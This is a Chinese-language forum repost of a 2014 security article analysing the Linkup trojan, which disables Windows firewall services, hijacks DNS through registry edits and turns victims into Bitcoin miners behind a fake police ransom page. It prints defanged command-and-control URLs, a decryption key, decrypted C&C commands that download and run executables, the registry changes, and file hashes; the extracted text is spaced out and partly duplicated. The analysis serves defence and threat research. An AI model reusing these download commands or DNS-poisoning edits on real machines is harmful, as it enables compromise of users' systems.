搜索

[7782] 2014-02-10_悄悄的干活，打枪的不要！勒索+比特币挖矿木马

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-17
2014-02-10_悄悄的干活，打枪的不要！勒索+比特币挖矿木马 悄 悄 的 干 活 ， 打 枪 的 不 要 ！ 勒 索 + 比 特 币 挖 矿 木 马 F r e e B u f   2 0 1 4 - 0 2 - 1 0 F r e e B u f 曾 报 道 过 一 些 勒 索 用 户 支 付 赎 金 的 木 马 ： 曾 报 道 过 一 些 勒 索 用 户 支 付 赎 金 的 木 马 ：         1 千 万 英 国 用 户 被 C r y p t o l o c k e r 勒 索 软 件 瞄 准         英 国 N C A 向 公 众 发 出 警 告 ： C r y p t o L o c k e r 恶 意 程 序 肆 虐 网 络         如 何 保 护 你 的 计 算 机 不 被 恶 意 软 件 勒 索         气 焰 嚣 张 勒 索 木 马 ： 打 劫 你 没 商 量         地 下 论 坛 惊 见 全 新 档 案 加 密 勒 索 软 件 P o w e r L o c k e r E m s i s o f t 团 队 最 近 发 现 了 一 款 名 为 团 队 最 近 发 现 了 一 款 名 为 " L i n k u p " 的 木 马 （ 的 木 马 （ T r o j a n - R a n s o m . W i n 3 2 . L i n k u p ） ， ） ， L i n k u p 不 会 直 接 加 密 电 脑 中 的 档 不 会 直 接 加 密 电 脑 中 的 档 案 ， 而 是 直 接 关 闭 案 ， 而 是 直 接 关 闭 W i n d o w s 防 火 墙 服 务 、 锁 定 你 的 防 火 墙 服 务 、 锁 定 你 的 D N S 然 后 让 你 的 机 器 辅 助 挖 比 特 币 。 然 后 让 你 的 机 器 辅 助 挖 比 特 币 。 这 一 切 当 然 是 悄 悄 的 进 行 的 ， 当 你 不 能 正 常 上 网 了 之 后 会 发 现 浏 览 器 经 常 会 访 问 这 个 网 页 ： 当 你 不 能 正 常 上 网 了 之 后 会 发 现 浏 览 器 经 常 会 访 问 这 个 网 页 ： 或 者 这 样 ：
看 似 一 本 正 经 的   C o u n c i l   o f   E u r o p e   的 页 面   （ 体 验 一 下 ：   6 2 . 7 5 . 2 2 1 . 3 7 ） ， 甚 至 会 警 告 你 观 看 “ 儿 童 色 情 ” ， 只 需 0 . 0 1 欧 元 就 可 以 立 即 恢 复 网 络 链 接 。 一 旦 L i n k u p 执 行 后 ， 会 在 文 件 夹 下 创 建 ， 然 后 禁 用 w i n d o w s 的 安 全 和 防 火 墙 服 务 ： L i n k u p 会 向 服 务 器 以 加 密 的 形 式 会 向 服 务 器 以 加 密 的 形 式 P O S T 你 机 器 的 信 息 ： 你 机 器 的 信 息 ： % A p p D a t a % M i c r o s o f t W i n d o w s s v c h o s t . e x e
t o k e n 解 密 后 大 致 是 这 样 解 密 后 大 致 是 这 样 : u i d = x x x x x & v e r = 3 . 5 5 & d l = 0 & i l = 0 & d i p = j 5 w 4 F F X B & w l = E N U & w v = 5 . 1 . 2 6 0 0 . S P 3 . 0 . 2 5 6 . 1 . 2 . x 8 6 & i a = 1 这 包 含 了 你 的 编 号 ， 系 统 的 版 本 ， 使 用 的 是 何 种 语 言 。 这 样 会 方 便 木 马 的 感 染 ， 让 L i n k u p 知 道 在 什 么 样 的 机 器 上 工 作 并 且 是 否 在 正 常 工 作 。 L i n k u p 使 用 了 冗 余 机 制 ， 解 密 后 会 发 现 准 备 了 多 台 解 密 后 会 发 现 准 备 了 多 台 C & C 服 务 器 ： 服 务 器 ： h x x p : / / 6 2 . 7 5 . 2 2 1 . 3 7 / u p l i n k . p h p ? l o g o . j p g h x x p : / / h o s e e n 4 5 r . c o m / u p l i n k . p h p ? l o g o . j p g h x x p : / / o n e t i m e s 2 1 s . c o m / u p l i n k . p h p ? l o g o . j p g h x x p : / / s e t p e c 1 4 r s . c o m / u p l i n k . p h p ? l o g o . j p g
C & C 服 务 器 会 向 L i n k u p 发 送 如 下 加 密 后 的 指 令 ： n K _ R g l b A g _ 3 A x l b 0 z 0 b v 1 B q 6 N o k W K i e j 5 9 k c g - W c K l b 0 f - b v a r a 0 K d k 0 a 0 e j r 1 L v F F X V 解 密 的 k e y 是 F o 6 u - Y T e l B C v 0 A c 4 X i R W _ 1 G J S V 2 O 8 j P 7 n Z k b w q L E N s h p H t g 5 K x a 3 Q M f z r U D y 9 d m I 解 开 后 是 这 样 的 （ 如 图 ） ： I L   6 2 . 7 5 . 2 2 1 . 3 7 R U N   h x x p : / / 9 1 . 2 2 0 . 1 6 3 . 2 2 / p t s 2 . e x e 命 令 会 重 定 向 每 一 条 h t t p 请 求 到 勒 索 的 页 面 上 。 同 样 ， L i n k u p   也 在 注 册 表 中 做 了 手 脚 ： H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s T c p i p P a r a m e t e r s I n t e r f a c e s % i n t e r f a c e G U I D % " N a m e S e r v e r "   =   " 1 2 7 . 0 . 0 . 1 " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s T c p i p P a r a m e t e r s I n t e r f a c e s % i n t e r f a c e G U I D % " D h c p N a m e S e r v e r "   =   " 1 2 7 . 0 . 0 . 1 " 重 启 服 务 ， 保 证 D N S 毒 化 成 功 ： R U N   h x x p : / / 9 1 . 2 2 0 . 1 6 3 . 2 2 / p t s 2 . e x e   命 令 会 让 你 的 计 算 机 下 载 并 运 行   p t s 2 . e x e   ，   p t s 2 . e x e 会 伪 装 成 S v c h o s t . e x e 并 下 载 h x x p : / / 6 4 . 3 2 . 2 8 . 1 5 5 / b . e x e ， b . e x e 会 存 储 在 C : U s e r s P u b l i c b . e x e   。 这 是 一 个 自 解 压 程 序 ， 其 中 的 脚 本 会 释 放 一 个 6 4 位 的 P E 文 件 ， 命 名 为 j . e x e   ， 也 就 是 j h P r o t o m i n e r   。 黑 客 利 用 L i n k u p 获 得 了 更 强 的 计 算 能 力 来 获 取 更 多 的 比 特 币 ， 为 了 使 挖 矿 僵 尸 网 络 间 保 持 通 信 流 畅 ， 毒 化 了 d n s 并 顺 便 想 要 敲 诈 受 害 者 一 笔 （ 钱 或 重 要 口 令 和 个 人 信 息 ） 。 来 自 来 自 E m s i s o f t 团 队 的 相 关 文 件 团 队 的 相 关 文 件 h a s h ： ： T r o j a n - R a n s o m . W i n 3 2 . L i n k u p M D 5 :   f 1 3 0 4 9 9 2 5 2 3 c d 6 8 f 7 4 1 2 a 3 5 5 d 2 f b 9 d 5 d S H A 1 :   c e 7 0 e 5 0 7 0 7 b 4 5 6 e 0 e 2 f 0 8 6 1 2 6 b d c f a 2 6 6 d 5 a 5 7 a e p t s 2 . e x e   ( T r o j a n - D o w n l o a d e r . W i n 3 2 . L i n k u p ) M D 5 :   7 e b 8 0 9 d 8 e a 5 b f e 6 0 2 6 4 8 7 5 2 2 8 9 6 6 9 6 3 2 S H A 1 :   2 0 b d 7 5 b 9 c 4 7 a c 0 7 5 d 5 1 7 I L   6 2 . 7 5 . 2 2 1 . 3 7   正 如 其 名 称 所 暗 示 的 ， 正 如 其 名 称 所 暗 示 的 ，   j h P r o t o m i n e r 是 一 个 是 一 个 P r o t o s h a r e s 挖 掘 应 用 程 序 。 挖 掘 应 用 程 序 。
8 3 a 5 f 3 c 5 3 0 9 0 9 1 c 7 c 6 a 7 b . e x e   ( T r o j a n . W i n 3 2 . M i n e r   –   S e l f - e x t r a c t i n g   A r c h i v e ) M D 5 :   2 9 e e a 4 c d 0 4 0 b f f 1 0 2 8 d 5 b 6 0 9 2 f 2 2 f 9 b f S H A 1 :   1 b 3 3 8 9 3 2 8 f 9 e b f 7 0 6 f 0 9 4 4 5 c a 0 a d c 5 e f d 2 e 9 8 f 7 9 j . e x e   ( j h P r o t o m i n e r ) M D 5 :   2 e 9 a 7 1 e 4 e e 3 3 d 1 9 0 0 5 6 e 0 8 1 e 6 7 2 6 f a 5 6 S H A 1 :   d b 3 5 5 f c 2 7 6 b 8 1 7 4 e 1 7 5 3 f 4 5 d b d f 5 2 5 3 6 f 7 7 4 0 3 1 6 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理